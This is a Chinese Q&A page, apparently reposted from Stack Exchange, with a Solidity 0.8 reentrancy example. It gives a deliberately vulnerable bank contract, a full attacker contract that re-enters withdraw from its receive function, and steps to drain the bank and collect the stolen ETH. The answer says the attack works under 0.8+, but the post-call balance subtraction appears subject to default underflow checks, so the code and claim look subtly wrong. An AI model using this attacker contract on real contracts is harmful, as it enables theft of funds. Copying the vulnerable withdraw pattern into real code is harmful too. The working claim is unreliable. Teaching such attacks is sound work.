求带金额参数的Reentrancy attack攻击示例(适配新版Solidity)
带金额参数的Withdraw函数重入攻击示例
有漏洞的目标合约(Solidity ^0.8.0)
这个合约违反了检查-效果-交互的安全原则,先执行ETH转账再更新用户余额,给重入攻击留了可乘之机:
// 有漏洞的目标合约:先转账再更新余额,存在重入风险 pragma solidity ^0.8.0; contract VulnerableBank { mapping(address => uint256) public balances; function deposit() external payable { balances[msg.sender] += msg.value; } function withdraw(uint256 amount) external { // 检查余额是否足够 require(balances[msg.sender] >= amount, "Insufficient balance"); // 漏洞核心:先转账(交互),再更新余额(效果) (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed"); // 此时已被重入调用,余额更新滞后 balances[msg.sender] -= amount; } function getBalance() external view returns (uint256) { return address(this).balance; } }
攻击合约
通过实现receive函数,在收到目标合约转账时立即发起重入调用,反复窃取资金:
// 攻击合约:利用重入漏洞窃取资金 pragma solidity ^0.8.0; import "./VulnerableBank.sol"; contract ReentrancyAttacker { VulnerableBank public immutable targetBank; address public owner; constructor(address _targetBank) { targetBank = VulnerableBank(_targetBank); owner = msg.sender; } // 启动攻击:先向目标合约存入ETH,再触发首次withdraw function attack() external payable { require(msg.value > 0, "Need ETH to attack"); targetBank.deposit{value: msg.value}(); targetBank.withdraw(msg.value); } // 收到ETH时自动触发重入调用 receive() external payable { uint256 remainingBalance = targetBank.balances(address(this)); // 只要目标合约还有余额可提,就继续调用withdraw if (remainingBalance > 0 && address(targetBank).balance >= remainingBalance) { targetBank.withdraw(remainingBalance); } } // 提取攻击所得的全部ETH function withdrawFunds() external { require(msg.sender == owner, "Only owner can withdraw"); (bool success, ) = owner.call{value: address(this).balance}(""); require(success, "Transfer failed"); } }
攻击步骤
- 部署
VulnerableBank合约; - 部署
ReentrancyAttacker合约,传入目标合约的地址; - 调用攻击合约的
attack函数,转入任意金额的ETH(比如1 ETH); - 攻击完成后,调用
withdrawFunds将窃取的ETH转到自己钱包。
关键说明
Solidity 0.8+版本虽然默认开启了溢出/下溢检查,但不会自动修复重入漏洞——只要开发者没遵循检查-效果-交互的顺序(先更新余额,再执行转账),漏洞就会存在。你之前复现失败,大概率是因为用了符合安全规范的合约模板,而非这种刻意留洞的版本。
内容的提问来源于stack exchange,提问作者RodrigoR
相关产品推荐
相关产品推荐

